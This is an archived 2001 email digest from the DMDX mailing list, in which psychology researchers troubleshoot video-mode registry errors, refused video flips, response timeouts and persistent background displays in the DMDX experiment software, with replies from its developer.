<5.1.0.14.2.20010606182611.009e22d0@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Thanks. I will try what you suggest. - Mike oxoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxoxo Mike Ford MRC Cognition & Brain Sciences Unit 15 Chaucer Rd, Cambridge, CB1 2NQ, UK. Tel: +44 (0)1223 355294 ext 334 Fax: +44 (0)1223 359062 http://www.mrc-cbu.cam.ac.uk/personal/mike.ford oxoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxoxo >From DMDX-owner@psy1.psych.arizona.edu Wed Jul 18 12:32:35 2001 Received: from mailspool.helios.nd.edu (mailspool.helios.nd.edu [129.74.250.7]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id MAA03398 for ; Wed, 18 Jul 2001 12:31:31 -0700 Received: from darwin.helios.nd.edu (darwin.helios.nd.edu [129.74.250.114]) by mailspool.helios.nd.edu (8.9.2/8.9.2) with ESMTP id OAA09288 for ; Wed, 18 Jul 2001 14:31:29 -0500 (EST) Received: from localhost (mwenger1@localhost) by darwin.helios.nd.edu (8.10.1/8.10.1/ND-cluster) with ESMTP id f6IJVUN22754 for ; Wed, 18 Jul 2001 14:31:30 -0500 (EST) Date: Wed, 18 Jul 2001 14:31:30 -0500 (EST) From: ""Michael J. Wenger"" To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] video mode problem In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Jonathan -- I'm generating an unexpected error in DMDX: could not find registry key N1000f18 I get the same error when I use commas in the video mode parameter. Let me know if you need any additional info, and thanks, -Michael ------------------------------------------------------------------- Michael J. Wenger Department of Psychology University of Notre Dame Notre Dame IN 46556 Office phone: (219) 631-9429 Dept. fax: (219) 631-8883 E-mail: Michael.J.Wenger.4@nd.edu mwenger1@nd.edu http://www.nd.edu/~mwenger1 ------------------------------------------------------------------- >From DMDX-owner@psy1.psych.arizona.edu Thu Jul 19 07:40:37 2001 Received: from mailspool.helios.nd.edu (mailspool.helios.nd.edu [129.74.250.7]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id HAA06132 for ; Thu, 19 Jul 2001 07:40:12 -0700 Received: from darwin.helios.nd.edu (darwin.helios.nd.edu [129.74.250.114]) by mailspool.helios.nd.edu (8.9.2/8.9.2) with ESMTP id JAA22700 for ; Thu, 19 Jul 2001 09:40:09 -0500 (EST) Received: from localhost (mwenger1@localhost) by darwin.helios.nd.edu (8.10.1/8.10.1/ND-cluster) with ESMTP id f6JEeAK08564 for ; Thu, 19 Jul 2001 09:40:10 -0500 (EST) Date: Thu, 19 Jul 2001 09:40:10 -0500 (EST) From: ""Michael J. Wenger"" To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Re: video mode problem In-Reply-To: <5.1.0.14.2.20010718183710.009d1910@psy1.psych.arizona.edu> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Jonathan -- > It probably misses the keyword because there's no space after the > N1000. Try: > > N1000 f18 >could not find registry key >Driver\\640x480(480)_8bpp_0Hz > > Is it possible that TimeDX is not saving the requisite registry key? -Michael ------------------------------------------------------------------- Michael J. Wenger Department of Psychology University of Notre Dame Notre Dame IN 46556 Office phone: (219) 631-9429 Dept. fax: (219) 631-8883 E-mail: Michael.J.Wenger.4@nd.edu mwenger1@nd.edu http://www.nd.edu/~mwenger1 ------------------------------------------------------------------- >From DMDX-owner@psy1.psych.arizona.edu Thu Jul 19 07:48:28 2001 Received: from mailhost.mrc-cbu.cam.ac.uk (sirius.mrc-cbu.cam.ac.uk [192.153.213.178]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id HAA06159 for ; Thu, 19 Jul 2001 07:48:22 -0700 Received: from pc057.mrc-cbu.cam.ac.uk by mailhost.mrc-cbu.cam.ac.uk with Sendmail (8.9.3/V3080601); Thu, 19 Jul 2001 15:48:19 +0100 (BST) Message-Id: <5.0.2.1.0.20010719155100.02475210@pophost.mrc-cbu.cam.ac.uk> Date: Thu, 19 Jul 2001 15:51:28 +0100 To: DMDX@psy1.psych.arizona.edu From: Mike Ford Subject: [DMDX] Re: video mode problem In-Reply-To: References: <5.1.0.14.2.20010718183710.009d1910@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Do you not need commas between the numbers in the vm parameter? - Mike oxoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxoxo Mike Ford MRC Cognition & Brain Sciences Unit 15 Chaucer Rd, Cambridge, CB1 2NQ, UK. Tel: +44 (0)1223 355294 ext 334 Fax: +44 (0)1223 359062 http://www.mrc-cbu.cam.ac.uk/personal/mike.ford oxoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxoxo >From DMDX-owner@psy1.psych.arizona.edu Thu Jul 19 07:55:13 2001 Received: from mailspool.helios.nd.edu (mailspool.helios.nd.edu [129.74.250.7]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id HAA06235 for ; Thu, 19 Jul 2001 07:55:02 -0700 Received: from darwin.helios.nd.edu (darwin.helios.nd.edu [129.74.250.114]) by mailspool.helios.nd.edu (8.9.2/8.9.2) with ESMTP id JAA23026 for ; Thu, 19 Jul 2001 09:55:00 -0500 (EST) Received: from localhost (mwenger1@localhost) by darwin.helios.nd.edu (8.10.1/8.10.1/ND-cluster) with ESMTP id f6JEt1f09485 for ; Thu, 19 Jul 2001 09:55:01 -0500 (EST) Date: Thu, 19 Jul 2001 09:55:01 -0500 (EST) From: ""Michael J. Wenger"" To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Re: video mode problem In-Reply-To: <5.0.2.1.0.20010719155100.02475210@pophost.mrc-cbu.cam.ac.uk> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Mike -- tried that as well, with no luck. -Michael > Do you not need commas between the numbers in the vm parameter? > > - Mike >From DMDX-owner@psy1.psych.arizona.edu Thu Jul 19 09:51:57 2001 Received: from breaker.dakotacom.net (breaker.dakotacom.net [208.235.160.21]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with SMTP id JAA06540 for ; Thu, 19 Jul 2001 09:51:46 -0700 Received: (qmail 12332 invoked from network); 19 Jul 2001 16:51:41 -0000 Received: from unknown (HELO anybodyi.u.arizona.edu) (150.135.175.18) by breaker.dakotacom.net with SMTP; 19 Jul 2001 16:51:41 -0000 Message-Id: <5.1.0.14.2.20010719094254.009e5b30@psy1.psych.arizona.edu> Date: Thu, 19 Jul 2001 09:52:31 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: video mode problem In-Reply-To: References: <5.1.0.14.2.20010718183710.009d1910@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 09:40 AM 7/19/01 -0500, you wrote: >Jonathan -- > > > It probably misses the keyword because there's no space after the > > N1000. Try: > > > > N1000 f18 >No luck with this, and I'm still getting > > > >could not find registry key > >Driver\\640x480(480)_8bpp_0Hz > > > > >Is it possible that TimeDX is not saving the requisite registry key? Not likely, DMDX is trying to find the 640x480x8 key. Actually I've just figured out what it is, I saw this some time ago on one of our machines. Turns out that even if you specified that you were going to use 800x600x16 or whatever the code needed to get the default video settings anyway, 640x640x8, so you need to time that video mode regardless of whether you ever intend to use it or not. I never noticed the error because of course I had always timed 640x480x8 anyway. ISTR correcting this and indeed I can't replicate your trouble here so I suspect your trouble stems from using an old version of DMDX. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ That which is everybody's business is nobody's business. - Izaak Walton (1593-1683) The Compleat Angler, 1655 >From DMDX-owner@psy1.psych.arizona.edu Thu Jul 19 09:55:26 2001 Received: from mailhost.mrc-cbu.cam.ac.uk (sirius.mrc-cbu.cam.ac.uk [192.153.213.178]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id JAA06560 for ; Thu, 19 Jul 2001 09:55:19 -0700 Received: from pc057.mrc-cbu.cam.ac.uk by mailhost.mrc-cbu.cam.ac.uk with Sendmail (8.9.3/V3080601); Thu, 19 Jul 2001 17:55:15 +0100 (BST) Message-Id: <5.0.2.1.0.20010719175714.024868e0@pophost.mrc-cbu.cam.ac.uk> Date: Thu, 19 Jul 2001 17:58:24 +0100 To: DMDX@psy1.psych.arizona.edu From: Mike Ford Subject: [DMDX] Re: video mode problem In-Reply-To: <5.1.0.14.2.20010719094254.009e5b30@psy1.psych.arizona.edu> References: <5.1.0.14.2.20010718183710.009d1910@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Now you mention it I have come across that too. - Mike oxoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxoxo Mike Ford MRC Cognition & Brain Sciences Unit 15 Chaucer Rd, Cambridge, CB1 2NQ, UK. Tel: +44 (0)1223 355294 ext 334 Fax: +44 (0)1223 359062 http://www.mrc-cbu.cam.ac.uk/personal/mike.ford oxoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxoxo >From DMDX-owner@psy1.psych.arizona.edu Thu Jul 19 17:15:24 2001 Received: from deimos.email.Arizona.EDU (root@deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id RAA07769 for ; Thu, 19 Jul 2001 17:13:37 -0700 Received: from u.arizona.edu (128.196.98.189) by deimos.email.Arizona.EDU (5.1.056) (authenticated as smhayes@email.arizona.edu) id 3B56F22500012E3F for DMDX@psy1.psych.arizona.edu; Thu, 19 Jul 2001 17:13:36 -0700 Message-ID: <3B577847.E1CD0C93@u.arizona.edu> Date: Thu, 19 Jul 2001 17:16:07 -0700 From: Scott Hayes MIME-Version: 1.0 To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] refused video flip Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Jonathon, I am trying to display two bitmaps simultaneously, but they merely flash on the screen (it's self-paced, so it should stay on the screen until a timeout). I am receiving an error ""XXX ms of refused video flip occurred"". I cannot figure out why I'm receiving this error message now, because it is virtually the same as another script than runs just fine (same computer, same experimental trials, no changes in presentation duration, same # of trials)--just font change (times new roman to arial) and some new control files (same size as before).. I've looked at the suggestions in the DMDX help and in the archives, but I'm wondering if there's some error in my script that I cannot pinpoint, as opposed to hardware issues, since the original script works fine. My computer has NVIDIA TNT 2 M64 4XAGP video card, 128 MB RAM, and the image file sizes range from 40 to 80 Kb, so I think this should be sufficient. Any advice would be appreciated. Thanks, Scott Malfunctioning Script: 0 ""READY""; +2001""WHICH OBJECT IS OLD?"" / * ""Fmortar"", ""rbird""/; -2002""WHICH OBJECT IS OLD?"" / * ""rwood"", ""Fbowl2""/; +9000 ""WHICH PICTURE"", ""HAS AN 'O'?"" / * ""1X_O"", ""1O_O""/; -2003""WHICH OBJECT IS OLD?"" / * ""jplate"", ""Fchinaplate""/; +3001""WHICH SCENE IS OLD?"" / * ""rbirdI"", ""rETbirdO""/; +9000 ""WHICH PICTURE"", ""HAS AN 'X'?"" / * ""1O_S"", ""1X_S""/; -3002""WHICH SCENE IS OLD?"" / * ""rCTwoodO"", ""rwoodI""/; -6001 ""WHICH OBJECT"", ""WAS VIEWED FIRST?"" / * ""rbird"", ""jplate""/; WORKING SCRIPT: 0 ""READY""; +2001""WHICH OBJECT IS OLD?""/* �Fmortar"",""rbird""; -2002""WHICH OBJECT IS OLD?""/* ""rwood"",""Fbowl2""; +9000""WHICH PICTURE"",""HAS AN 'X'?"" /*""1O_O"",""1X_O"" ; -2003""WHICH OBJECT IS OLD?""/*""jplate"",""Fchinaplate""; +3001""WHICH SCENE IS OLD?""/*""rbirdI"",""rETbirdO""; +9000""WHICH PICTURE"",""HAS AN 'X'?""/*""1O_S"",""1X_S""; -3002""WHICH SCENE IS OLD?""/*""rCTwoodO"",""rwoodI""; -6001""WHICH OBJECT"",""WAS VIEWED FIRST?""/*""rbird"",""jplate""; >From DMDX-owner@psy1.psych.arizona.edu Thu Jul 19 17:55:39 2001 Received: from mailspool.helios.nd.edu (mailspool.helios.nd.edu [129.74.250.7]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id RAA07880 for ; Thu, 19 Jul 2001 17:54:02 -0700 Received: from darwin.helios.nd.edu (darwin.helios.nd.edu [129.74.250.114]) by mailspool.helios.nd.edu (8.9.2/8.9.2) with ESMTP id TAA04887 for ; Thu, 19 Jul 2001 19:54:00 -0500 (EST) Received: from localhost (mwenger1@localhost) by darwin.helios.nd.edu (8.10.1/8.10.1/ND-cluster) with ESMTP id f6K0s2a17128 for ; Thu, 19 Jul 2001 19:54:02 -0500 (EST) Date: Thu, 19 Jul 2001 19:54:01 -0500 (EST) From: ""Michael J. Wenger"" To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Re: video mode problem In-Reply-To: <5.1.0.14.2.20010719094254.009e5b30@psy1.psych.arizona.edu> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Jonathan -- thanks: I timed both settings (640 x 480 first, then 800 x 600), and corrected the problem. BTW, the problem happened with the most recent versions of DMDX and TimeDX. -Michael > > Not likely, DMDX is trying to find the 640x480x8 key. Actually I've > just figured out what it is, I saw this some time ago on one of our > machines. Turns out that even if you specified that you were going to use > 800x600x16 or whatever the code needed to get the default video settings > anyway, 640x640x8, so you need to time that video mode regardless of > whether you ever intend to use it or not. I never noticed the error > because of course I had always timed 640x480x8 anyway. ISTR correcting > this and indeed I can't replicate your trouble here so I suspect your > trouble stems from using an old version of DMDX. >From DMDX-owner@psy1.psych.arizona.edu Thu Jul 19 18:09:06 2001 Received: from cooper.uws.edu.au (cooper.uws.edu.au [137.154.210.65]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id SAA07941 for ; Thu, 19 Jul 2001 18:07:31 -0700 Received: from marcsmatlab ([137.154.107.107]) by cooper.uws.edu.au (8.11.3/8.11.3/UWS-STAFF-1.2) with SMTP id f6K17Sn04219 for ; Fri, 20 Jul 2001 11:07:28 +1000 (EST) Message-ID: <003e01c110b9$0c9a0860$6b6b9a89@uws.edu.au> From: ""Helen Tam"" To: Subject: [DMDX] Subject Response Timeout Date: Fri, 20 Jul 2001 11:12:30 +1000 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=""----=_NextPart_000_003B_01C1110C.DE0C1CA0"" Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list This is a multi-part message in MIME format. ------=_NextPart_000_003B_01C1110C.DE0C1CA0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable Dear all, I'm having problems with the subject response timeout command. My = experiment is set such that subjects would have 4 seconds to respond . This works for the items (i.e. ""No Response"" appears on the = screen after 4 seconds have elapsed) up until when the subject has = responded under 4 seconds. So, as soon as a response is made within the = timelimit (4 seconds), all the following items do not have a timeout = limit, and one can take as long as one likes. Is this a bug in the DMDX = program? But with my other experiment on DMDX the timeout command is = working fine. Please help! The parameter lines for my experiment are as = follows:=20 f100 m110 = $ = =20 0 mV=3D =3D mG=3D =3D mY=3D =3D mU=3D =3D mK=3D =3D m,=3D =3D c; $ A related question is that what if I don't want a timeout limit, but = still want to record response times (I've tried using , the no = time limit command, but this would not record RTs). So what's the = command for no time limit, but with RTs still being recorded? Thanks in anticipation, Helen Tam Research Assistant,=20 MacArthur Auditory Research Centre Sydney, University of Western Sydney NSW, Australia ------=_NextPart_000_003B_01C1110C.DE0C1CA0 Content-Type: text/html; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable Dear all, I'm having problems with the subject = response=20 timeout command. My experiment is set such that subjects would have = 4=20 seconds to respond . This works for the items (i.e. ""No = Response""=20 appears on the screen after 4 seconds have elapsed) up until when the = subject=20 has responded under 4 seconds. So, as soon as a response is made = within the=20 timelimit (4 seconds), all the following items do not have a timeout = limit, and=20 one can take as long as one likes. Is this a bug in the DMDX program? = But with=20 my other experiment on DMDX the timeout command is working fine. Please = help!=20 The parameter lines for my experiment are as follows: f100 m110 =20 $ = =20 =20 = =20 0 mV=3D =20 = =3D mG=3D =20 = =3D mY=3D =20 = =3D mU=3D =20 = =3D mK=3D =20 = =3D m,=3D =20 = =3D c; $ A related question is that what if I = don't want a=20 timeout limit, but still want to record response times (I've tried using = , the no time limit command, but this would not record RTs). = So=20 what's the command for no time limit, but with RTs still being=20 recorded?   Thanks in anticipation, Helen Tam Research Assistant, MacArthur Auditory Research Centre=20 Sydney, University of Western = Sydney NSW, Australia   ------=_NextPart_000_003B_01C1110C.DE0C1CA0-- >From DMDX-owner@psy1.psych.arizona.edu Fri Jul 20 04:47:45 2001 Received: from mps1.leeds.ac.uk (mps1.leeds.ac.uk [129.11.16.8]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id EAA09124 for ; Fri, 20 Jul 2001 04:44:34 -0700 From: tomc@psychology.leeds.ac.uk Received: from psychology.leeds.ac.uk (psycho.leeds.ac.uk [129.11.244.14]) by mps1.leeds.ac.uk (8.11.1/8.11.1) with ESMTP id f6KBiXD13833 for ; Fri, 20 Jul 2001 12:44:33 +0100 (BST) Message-Id: <200107201144.f6KBiXD13833@mps1.leeds.ac.uk> Received: from PSYC/SpoolDir by psychology.leeds.ac.uk (Mercury 1.46); 20 Jul 01 12:38:05 GMT Received: from SpoolDir by PSYC (Mercury 1.46); 20 Jul 01 12:37:51 GMT To: DMDX@psy1.psych.arizona.edu Date: Fri, 20 Jul 2001 12:37:41 +0100 MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Subject: [DMDX] Re: Subject Response Timeout In-reply-to: <003e01c110b9$0c9a0860$6b6b9a89@uws.edu.au> Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list So what's the command for no time limit, but with RTs still being recorded? Try . Human Factors Section A18 School of Psychology University of Leeds, Leeds LS2 9JT, UK Phone +44 113 233 5724 (School Office) Fax +44 113 233 5749 tomc@psychology.leeds.ac.uk http://www.psyc.leeds.ac.uk/staff/tomc/index.htm >From DMDX-owner@psy1.psych.arizona.edu Fri Jul 20 07:00:28 2001 Received: from puce.csi.cam.ac.uk (exim@puce.csi.cam.ac.uk [131.111.8.40]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id GAA09432 for ; Fri, 20 Jul 2001 06:57:36 -0700 Received: from fs0.wbic.cam.ac.uk ([131.111.93.195] ident=mail) by puce.csi.cam.ac.uk with esmtp (Exim 3.22 #1) id 15Name-0002W5-00 for DMDX@psy1.psych.arizona.edu; Fri, 20 Jul 2001 14:57:36 +0100 Received: from pc1.psychiatry.cam.ac.uk (gh242) [131.111.88.207] by fs0.wbic.cam.ac.uk with smtp (Exim 3.12 #1 (Debian)) id 15Name-00052o-00; Fri, 20 Jul 2001 14:57:36 +0100 Message-ID: <003901c11124$11e2dde0$cf586f83@psychiatry.cam.ac.uk> From: ""Garry Honey"" To: Subject: [DMDX] Continous background display Date: Fri, 20 Jul 2001 14:58:35 +0100 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=""----=_NextPart_000_0036_01C1112C.73998A40"" Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list This is a multi-part message in MIME format. ------=_NextPart_000_0036_01C1112C.73998A40 Content-Type: text/plain; charset=""Windows-1252"" Content-Transfer-Encoding: quoted-printable Dear All, Please excuse the naivety of my question from a DMDX novice: My stimulus = display consists of an 8x8 square grid, with a single square being = coloured black; the square changes at 2.5 second delay intervals. My = question is how do I get the grid to appear continuously as a background = on the screen, and not disappear during the delay periods? Garry ------=_NextPart_000_0036_01C1112C.73998A40 Content-Type: text/html; charset=""Windows-1252"" Content-Transfer-Encoding: quoted-printable Dear All,   Please excuse the naivety of my question from a DMDX = novice:=20 My stimulus display consists of an 8x8 square = grid, with a=20 single square being coloured black; the square changes at 2.5 second = delay=20 intervals. My question is how do I get the grid to appear continuously = as a=20 background on the screen, and not disappear during the delay=20 periods?   Garry ------=_NextPart_000_0036_01C1112C.73998A40-- >From DMDX-owner@psy1.psych.arizona.edu Fri Jul 20 09:06:20 2001 Received: from breaker.dakotacom.net (breaker.dakotacom.net [208.235.160.21]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with SMTP id JAA09776 for ; Fri, 20 Jul 2001 09:03:22 -0700 Received: (qmail 14653 invoked from network); 20 Jul 2001 16:03:19 -0000 Received: from unknown (HELO anybodyi.u.arizona.edu) (150.135.175.11) by breaker.dakotacom.net with SMTP; 20 Jul 2001 16:03:19 -0000 Message-Id: <5.1.0.14.2.20010720090342.009f4710@psy1.psych.arizona.edu> Date: Fri, 20 Jul 2001 09:04:08 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: video mode problem In-Reply-To: References: <5.1.0.14.2.20010719094254.009e5b30@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 07:54 PM 7/19/01 -0500, you wrote: >Jonathan -- thanks: I timed both settings (640 x 480 first, then 800 x >600), and corrected the problem. BTW, the problem happened with the most >recent versions of DMDX and TimeDX. -Michael Hmm. Well, as long as the trouble went away. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ That which is everybody's business is nobody's business. - Izaak Walton (1593-1683) The Compleat Angler, 1655 >From DMDX-owner@psy1.psych.arizona.edu Fri Jul 20 09:10:38 2001 Received: from breaker.dakotacom.net (breaker.dakotacom.net [208.235.160.21]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with SMTP id JAA09801 for ; Fri, 20 Jul 2001 09:07:49 -0700 Received: (qmail 16750 invoked from network); 20 Jul 2001 16:07:40 -0000 Received: from unknown (HELO anybodyi.u.arizona.edu) (150.135.175.11) by breaker.dakotacom.net with SMTP; 20 Jul 2001 16:07:40 -0000 Message-Id: <5.1.0.14.2.20010720090619.009e5d80@psy1.psych.arizona.edu> Date: Fri, 20 Jul 2001 09:08:30 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: Subject Response Timeout In-Reply-To: <003e01c110b9$0c9a0860$6b6b9a89@uws.edu.au> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 11:12 AM 7/20/01 +1000, you wrote: >Dear all, >I'm having problems with the subject response timeout command. My >experiment is set such that subjects would have 4 seconds to respond 4000>. This works for the items (i.e. ""No Response"" appears on the screen >after 4 seconds have elapsed) up until when the subject has responded >under 4 seconds. So, as soon as a response is made within the timelimit (4 >seconds), all the following items do not have a timeout limit, and one can >take as long as one likes. Is this a bug in the DMDX program? But with my >other experiment on DMDX the timeout command is working fine. Please help! >The parameter lines for my experiment are as follows: The error is not in your parameter line, you must have something in your items that cancels the timeout value. There is no bug in this stuff, it's been used thousands of times. >A related question is that what if I don't want a timeout limit, but still >want to record response times (I've tried using , the no time limit >command, but this would not record RTs). So what's the command for no time >limit, but with RTs still being recorded? is what you want (not which would turn of NoTimeLimit), you must have another error in your item file. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ That which is everybody's business is nobody's business. - Izaak Walton (1593-1683) The Compleat Angler, 1655 >From DMDX-owner@psy1.psych.arizona.edu Fri Jul 20 09:12:42 2001 Received: from breaker.dakotacom.net (breaker.dakotacom.net [208.235.160.21]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with SMTP id JAA09807 for ; Fri, 20 Jul 2001 09:09:53 -0700 Received: (qmail 18024 invoked from network); 20 Jul 2001 16:09:50 -0000 Received: from unknown (HELO anybodyi.u.arizona.edu) (150.135.175.11) by breaker.dakotacom.net with SMTP; 20 Jul 2001 16:09:50 -0000 Message-Id: <5.1.0.14.2.20010720090853.009f4490@psy1.psych.arizona.edu> Date: Fri, 20 Jul 2001 09:10:40 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: Continous background display In-Reply-To: <003901c11124$11e2dde0$cf586f83@psychiatry.cam.ac.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 02:58 PM 7/20/01 +0100, you wrote: >Dear All, > >Please excuse the naivety of my question from a DMDX novice: My stimulus >display consists of an 8x8 square grid, with a single square being >coloured black; the square changes at 2.5 second delay intervals. My >question is how do I get the grid to appear continuously as a background >on the screen, and not disappear during the delay periods? > Don't end each item with an erase frame and don't use any feedback. ... ... 1 ""display"" ; 2 ""display"" ; -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ That which is everybody's business is nobody's business. - Izaak Walton (1593-1683) The Compleat Angler, 1655 >From DMDX-owner@psy1.psych.arizona.edu Fri Jul 20 09:26:14 2001 Received: from breaker.dakotacom.net (breaker.dakotacom.net [208.235.160.21]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with SMTP id JAA09917 for ; Fri, 20 Jul 2001 09:23:25 -0700 Received: (qmail 25190 invoked from network); 20 Jul 2001 16:23:20 -0000 Received: from unknown (HELO anybodyi.u.arizona.edu) (150.135.175.11) by breaker.dakotacom.net with SMTP; 20 Jul 2001 16:23:20 -0000 Message-Id: <5.1.0.14.2.20010720091100.009e71e0@psy1.psych.arizona.edu> Date: Fri, 20 Jul 2001 09:24:09 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: refused video flip In-Reply-To: <3B577847.E1CD0C93@u.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 05:16 PM 7/19/01 -0700, you wrote: >Jonathon, >I am trying to display two bitmaps simultaneously, but they merely flash >on the screen (it's self-paced, so it should stay on the screen until a >timeout). I am receiving an error ""XXX ms of refused video flip >occurred"". I cannot figure out why I'm receiving this error message >now, because it is virtually the same as another script than runs just >fine (same computer, same experimental trials, no changes in >presentation duration, same # of trials)--just font change (times new >roman to arial) and some new control files (same size as before).. I've >looked at the suggestions in the DMDX help and in the archives, but I'm >wondering if there's some error in my script that I cannot pinpoint, as >opposed to hardware issues, since the original script works fine. My >computer has NVIDIA TNT 2 M64 4XAGP video card, 128 MB RAM, and the >image file sizes range from 40 to 80 Kb, so I think this should be >sufficient. Any advice would be appreciated. >Malfunctioning Script: > > >0 ""READY""; >+2001""WHICH OBJECT IS OLD?"" / * ""Fmortar"", > ""rbird""/; Hmm, all I can think if is that the extra frame you are presenting has pushed your item's frame count over the amount of memory that the video card can buffer and therefore DMDX is moving a frame into memory as the item is executing. 1024x768x16 is a fairly intensive video mode, each frame consumes 1.5meg of video memory, you have to have one frame for the previous display, one for ""WHICH..., one for your merged graphics and one for the erase frame using at least 6.2meg which is getting close if your video card only has 8meg of memory. Perhaps you should look at the initial diagnostics from DMDX where it displays how many video buffers you have, it may only have 3 back buffers in which case there's you explanation. Kind of disappointing to see a TNT2 toss up refused flips, I thought they were better that that. You can try reducing the maximum lines to blit in TimeDX when timing that mode as the problem probably stems from the blitter blocking everything else. If that doesn't get it start reducing the Sleep Time as this will start DMDX tying to flip the video pages earlier and thus have a longer for the card to finally accept the command to flip pages. BTW, a 40kb JPG can easily expand to a 1meg image... -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ That which is everybody's business is nobody's business. - Izaak Walton (1593-1683) The Compleat Angler, 1655 >From DMDX-owner@psy1.psych.arizona.edu Fri Jul 20 09:39:46 2001 Received: from mailspool.helios.nd.edu (mailspool.helios.nd.edu [129.74.250.7]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id JAA10032 for ; Fri, 20 Jul 2001 09:36:57 -0700 Received: from darwin.helios.nd.edu (darwin.helios.nd.edu [129.74.250.114]) by 